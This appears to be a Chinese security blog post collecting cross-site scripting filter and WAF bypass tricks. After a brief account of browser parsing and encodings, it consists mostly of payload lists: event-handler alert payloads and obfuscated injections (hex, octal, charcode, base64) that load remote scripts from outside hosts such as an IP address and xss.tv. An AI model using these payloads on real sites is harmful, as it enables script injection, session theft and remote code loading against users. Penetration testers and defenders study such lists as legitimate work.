首页 > 技术文章 > 【奇淫巧技】XSS绕过技巧

fox-yu 2018-06-07 11:33 原文

XSS记录

  1、首先是弹窗函数:

alert(1)
prompt(1)
confirm(1)
eval()

  2、然后是字符的编码和浏览器的解析机制:

    要讲编码绕过,首先我们要理解浏览器的解析过程,浏览器在解析HTML文档时无论按照什么顺序,主要有三个过程:HTML解析、JS解析和URL解析,每个解析器负责HTML文档中各自对应部分的解析工作。

    首先浏览器接收到一个HTML文档时,会触发HTML解析器对HTML文档进行词法解析,这一过程完成HTML解码并创建DOM树,接下来JavaScript解析器会介入对内联脚本进行解析,这一过程完成JS的解码工作,如果浏览器遇到需要URL的上下文环境,这时URL解析器也会介入完成URL的解码工作,URL解析器的解码顺序会根据URL所在位置不同,可能在JavaScript解析器之前或之后解析。

    三个解析过程所对应的字符编码分别为:HTML解析 => HTML实体编码 、JS解析 => Unicode编码 、URL解析 =>URL编码。

需要注意的是:

1、Unicode编码无法转换控制字符如【'】【"】【()】,仅仅会将这些当成普通字符,而不是控制字符,也就是说你无法在<script>标签中利用Unicode编码单双引号来闭合引号。
2、JavaScript伪协议除了HTML编码之外不能进行其他编码,这个单词必须是完整的,因为浏览器最先解析HTML,之后javascript必须是完整的。这个在ie6下才执行的。

 

  3、下面我们用实际例子来解释一下以上所说的浏览器解析过程和字符编码是怎么回事,以及今天的重点---XSS绕过。

....暂定

 

hidden属性标签

插入点在hidden前,新增一个type属性覆盖hidden:
<input value='a' src=1 onerror=alert(1) type="image" type="hidden">

插入点在hidden后,shift+alt+accesskey: <input value='a' type="hidden" accesskey="x" onclick=alert(1)>

 

弹窗验证:

1、弹窗payload

 

<a href=javascript:alert`1`>click
<button ‘ onclick=alert(1)//>
<button onfocus=alert`122`>
<object data=javascript:alert`1`>
<body/onfocus=alert`9989`>
<input antofocus onfocus=alert`1`>
<svg><script xlink:href=data:,alert(1) />
<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>
<svg/onload=alert(1)>
<x contenteditable onblur=alert(1)>lose focus!
<i contenteditable onblur=alert(1)>lose focus!//contenteditable:使可编辑
<x oncontextmenu=alert(1)>right click this!
<c oncontextmenu=alert(1)>鼠标右键点击
<iframe src="&Tab;javascript:prompt(1)&Tab;">
<ScRipT 1>prompt(1)</ScRipT 123
<input/onfocus=ev\u0061l(\u0061lert(1))>
<input antofocus onfocus=\u0061lert(1)>
<iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<details ontoggle=alert(1)>
<details open ontoggle =alert(1)>  #payload的=号前加空格即可绕过waf
<Video><source onerror="javascript:alert(123)"> <iframe/src='data:text/html,<svg &#111;&#110;load=alert(1)>'> [media=mp3,200,300]http://www.tudou.com/programs/view/a' onload=alert(1) onerror=alert(1)[/media] <img/src=1 onmouseout=alert`1`> <a href="#" onclick=alert(‘\170\163\163’)>test3</a> //可以成功执行 <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe <img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"> <form><button formaction=javascript&colon;alert(1)>CLICKME <img src="1" onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>//必须要有双引号,不然执行不了 <a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2//不能去掉双引号 <a href=javascript:eval("&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;")>2 //可以去掉双引号 <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;">2</a> <a href=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#47&#120&#115&#115&#47&#41>XSStest</a> <img src=9989 onerror="window['al\u0065rt'](111)"> <IMG SRC=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041"> <img src=9989 onerror=a=\u0061lert,a(1)><input/oninput=top['al\x65rt'](1)> <img src=9989 onerror=[1].find(alert)> <img src=x:alert(alt) onerror=eval(src) alt=0> //以下都是要把[]进行url编码 <img src=9989 onerror=top%5B%2fal%2f.source%2b%2fert%2f.source%5D%281%29>   //<img src=9989 onerror=top[/al/.source+/ert/.source](1)> <img src=9989 onerror=top%5B%22al%22%2b%22ert%22%5D%281%29>           //<img src=9989 onerror=top["al"+"ert"](1)> <img src=9989 onerror=top%5B%27al%5C145rt%27%5D%281%29>               //<img src=9989 onerror=top['al\145rt'](1)> <img src=9989 onerror=top%5B'al\x65rt'%5D(1)>                    //<img src=9989 onerror=top['al\x65rt'](1)> <img/src=1 onerror=top[8680439..toString`30`]`1`> <img/src=1 onerror=top[8680439..toString`30`]`1`> <img/src=1 onError="&#x61lert(1)">    //使用时有时需要吧&#X进行URL编码 <img/src=1 onError=top[/al/.source+/ert/.source](1)> <img/src='a'onerror=[1].find(alert)> <img/src='2'onerror=top[8680439..toString(30)](1)> <a/href=javascript&colon;alert&grave;1&grave;>123</ a> <img/src='2'onerror=top[/al/.source+/ert/.source](1)><p/oncopy=alert(1)> <body onhashchange=alert(1)><a href=#x>click this!#x <body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x <body onresize=alert(1)>press F12! <body onpageshow=alert(1)> <body onfocus=alert(1)> <marquee onstart=alert(1)> <marquee loop=1 width=0 onfinish=alert(1)> <audio src onloadstart=alert(1)> <video onloadstart=alert(1)><source> <input autofocus onblur=alert(2)> <keygen autofocus onfocus=alert(3)> <form onsubmit=alert(4)><input type=submit> <select onchange=alert(5)><option>1<option>2 <menu id=x contextmenu=x onshow=alert(6)>right click me!
<meta content="0;https://www.baidu.com"HTTP-EQUIV="refresh""/>
<meta content="0;data:text/html;base64,PHNjcmlwdD5wcm9tcHQoIlhTUyIpPC9zY3JpcHQ+"HTTP-EQUIV="refresh""/> <svg><animate xlink:href=#xss attributeName=href values="&#01;&#02;&#03;&#04;&#05;&#06;&#07;&#08;&#09;&#10;&#11;&#12;&#13;&#14;&#15;&#16;&#17;&#18;&#19;&#20;&#21;&#22;&#23;&#24;&#25;&#26;&#27;&#28;&#29;&#30;&#31;&#32;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a> <svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
<svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;j&#97;v&#x61;script:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
<svg><animate xlink:href=#xss attributeName=href values="&#11;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>


<div onscroll=alert`1`> <a href=javascript:confirm(1)>MM</a> <video width="1" height="1" oncanplay="alert(1)"><source src="http://dwz1.cc/Pwnx5b4F"></video>

 

 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

 

 

2、引入外部js,需要有jQuery库

<html>
<head>
<script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.js"></script>
</head>
<body>

<img/src=1 onerror=$.getScript("http://118.24.154.114/1.js");>

绕waf:
<img/src=1 onerror=jQuery[atob('Z2V0U2NyaXB0')]("http://118.24.154.114/1.js")>
16进制
<img/src=1 onerror=eval("\x24\x2E\x67\x65\x74\x53\x63\x72\x69\x70\x74\x28\x22\x68\x74\x74\x70\x3A\x2F\x2F\x31\x31\x38\x2E\x32\x34\x2E\x31\x35\x34\x2E\x31\x31\x34\x2F\x31\x2E\x6A\x73\x22\x29\x3B")> ascii码
<img/src=1 onerror="eval(String.fromCharCode(36, 46, 103, 101, 116, 83, 99, 114, 105, 112, 116, 40, 34, 104, 116, 116, 112, 58, 47, 47, 49, 49, 56, 46, 50, 52, 46, 49, 53, 52, 46, 49, 49, 52, 47, 49, 46, 106, 115, 34, 41, 59))"> </body> </html>

 

 

 

3、Unicode编码绕过例子

<html>
<head>
</head>
<body>
    
<div id="s"></div>

<script>
    var s="\u003cimg/src=1\u003e";    document.getElementById('s').innerHTML = s;
</script>

</body>
</html>

以上代码由于使用了innerHTML 方法,可以使用Unicode表面皿绕过检测。

 

 4、利用巧用换行绕过url规则检测:

<?php
$url = filter_var($_GET['url'],FILTER_VALIDATE_URL);
var_dump($url);
$url = htmlspecialchars($url);
var_dump($url);
echo "<a href='$url'>Next slide</a>"
?>

          

 

利用代码:

<img/src=1 onmouseover=s=createElement('\163\143\162\151\160\164');body.appendChild(s);s.src="//xss.tv">
<img src=1 onerror="with(document)body.appendChild(createElement(String.fromCharCode(115,99,114,105,112,116))).src='\150\164\164\160\72\'"> JS 8进制

下面是一位大佬的文章,这里直接引用了,有空再整理。

https://bbs.ichunqiu.com/thread-31886-1-1.html
这里的连接字符,我研究出来一些payload,能够script,document等危险字符过滤的情况下,不需要在任何编码的情况下,去构造一个payload

当document被过滤的情况下,又不能用编码
+被过滤,又不能编码
<svg/onload="[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})">

<svg/onload="[1].find(function(){with(`docom%27|e|%27nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})">

<svg/onload="[1].find(function(){with(`docom%27%2Be%2B%27nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})">

<svg/onload="[1].find(function(){with(`docom'+e+'nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})">

<svg/onload="[1].find(function(){with(`docom'-e-'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})">

<svg/onload="[1].find(function(){with(`docom'*e*'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})">

<svg/onload="[1].find(function(){with(`docom'/e/'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"> <svg/onload="[1].find(function(){with(`docom'%e%'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"> <svg/onload="[1].find(function(){with(`docom'^e^'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"> <svg/onload="[1].find(function(){with(`docom'>e>'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"> <svg/onload="[1].find(function(){with(`docom'<e<'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"> <script type="text/javascript">   var a = ''>=alert``<='';   var a = ''+alert``+''; </script> <keygen autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xsspt.com/JUvhKT">支持火狐 360, 谷歌失败,过主机卫士 就是下面这些连接符号 输出在script内字符串位置的情况 如果允许闭合字符串,直接闭合并写入javascript即可,如: http://mhz.pw/game/xss/scriptstr.php?xss=%27|alert(1)|%27 http://t.mhz.pw/game/xss/scriptstr.php?xss='|alert(1)|' http://t.mhz.pw/game/xss/scriptstr.php?xss=%27%2Balert(1)%2B%27 http://t.mhz.pw/game/xss/scriptstr.php?xss='+alert(1)+' http://t.mhz.pw/game/xss/scriptstr.php?xss='-alert(1)-' http://t.mhz.pw/game/xss/scriptstr.php?xss='*alert(1)*' http://t.mhz.pw/game/xss/scriptstr.php?xss='/alert(1)/' http://t.mhz.pw/game/xss/scriptstr.php?xss='%alert(1)%' http://t.mhz.pw/game/xss/scriptstr.php?xss='^alert(1)^' http://t.mhz.pw/game/xss/scriptstr.php?xss='>alert(1)>' http://t.mhz.pw/game/xss/scriptstr.php?xss='<alert(1)<' http://t.mhz.pw/game/xss/scriptstr.php?xss='>=alert(1)>=' http://t.mhz.pw/game/xss/scriptstr.php?xss='<=alert(1)<=' http://t.mhz.pw/game/xss/scriptstr.php?xss='==alert(1)==' http://t.mhz.pw/game/xss/scriptstr.php?xss='===alert(1)===' http://t.mhz.pw/game/xss/scriptstr.php?xss='!=alert(1)!=' http://t.mhz.pw/game/xss/scriptstr.php?xss='!==alert(1)!==' http://t.mhz.pw/game/xss/scriptstr.php?xss='%26alert(1)%26' http://t.mhz.pw/game/xss/scriptstr.php?xss='&alert(1)&' http://t.mhz.pw/game/xss/scriptstr.php?xss='|alert(1)|' http://t.mhz.pw/game/xss/scriptstr.php?xss='||alert(1)||' http://t.mhz.pw/game/xss/scriptstr.php?xss='>=alert(1)<=' <svg/onload="[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"> <svg/onload=[1].find(function(){with(/do/.source+/cument/.source)body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(/docomen/.source+/t/.source);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(`/docomen/.source+/t/.source`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(`/docomen/.1+/t/.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /字符/.1+/字符/.1 字符加上字符 //.1 + //.1 这些只是连接字符的方式而已 ,总结起来就是 document而已 <svg/onload=[1].find(function(){with(`\docomen\.1+\t\.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> / 换成 \ 也可以 <svg/onload=[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> 不要加号也可以 <svg/onload=[1].find(function(){with(`=docomen=.1+=t=.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /换成=号也可以 <svg/onload=[1].find(function(){with(`=docomen=.1=t=.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> 不要加号也可以 <svg/onload=[1].find(function(){with(`^docomen^.1+^t^.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /换成^号也可以 <svg/onload=[1].find(function(){with(`^docomen^.1^t^.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(`|docomen|.1+|t|.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /换成|号也可以 <svg/onload=[1].find(function(){with(`|docomen|.1|t|.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(`&docomen&.1+&t&.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /换成&号也可以 <svg/onload=[1].find(function(){with(`&docomen&.1&t&.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(`%26docomen%26.1+$26t%26.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /换成%26也行 <svg/onload=[1].find(function(){with(`%26docomen%26.1$26t%26.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> 不要引号也行 Body加上括号也行 <svg/onload=[1].find(function(){with(`docomen`);(body.appendChild(createElement('script'))).src='http://xss.tv/XA'})> <body/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,115,115,46,102,98,105,115,98,46,99,111,109,47,48,71,73,103,62,60,47,115,99,114,105,112,116,62))> <svg/onload=[1].find(function(){with('docu'==='ment');body.appendChild(createElement("script")).src="http://xss.tv/XA"})>

 

 

笨鸟先飞早入林,笨人勤学早成材。

转载请注明出处:
撰写人:fox-yu  http://www.cnblogs.com/fox-yu/

推荐阅读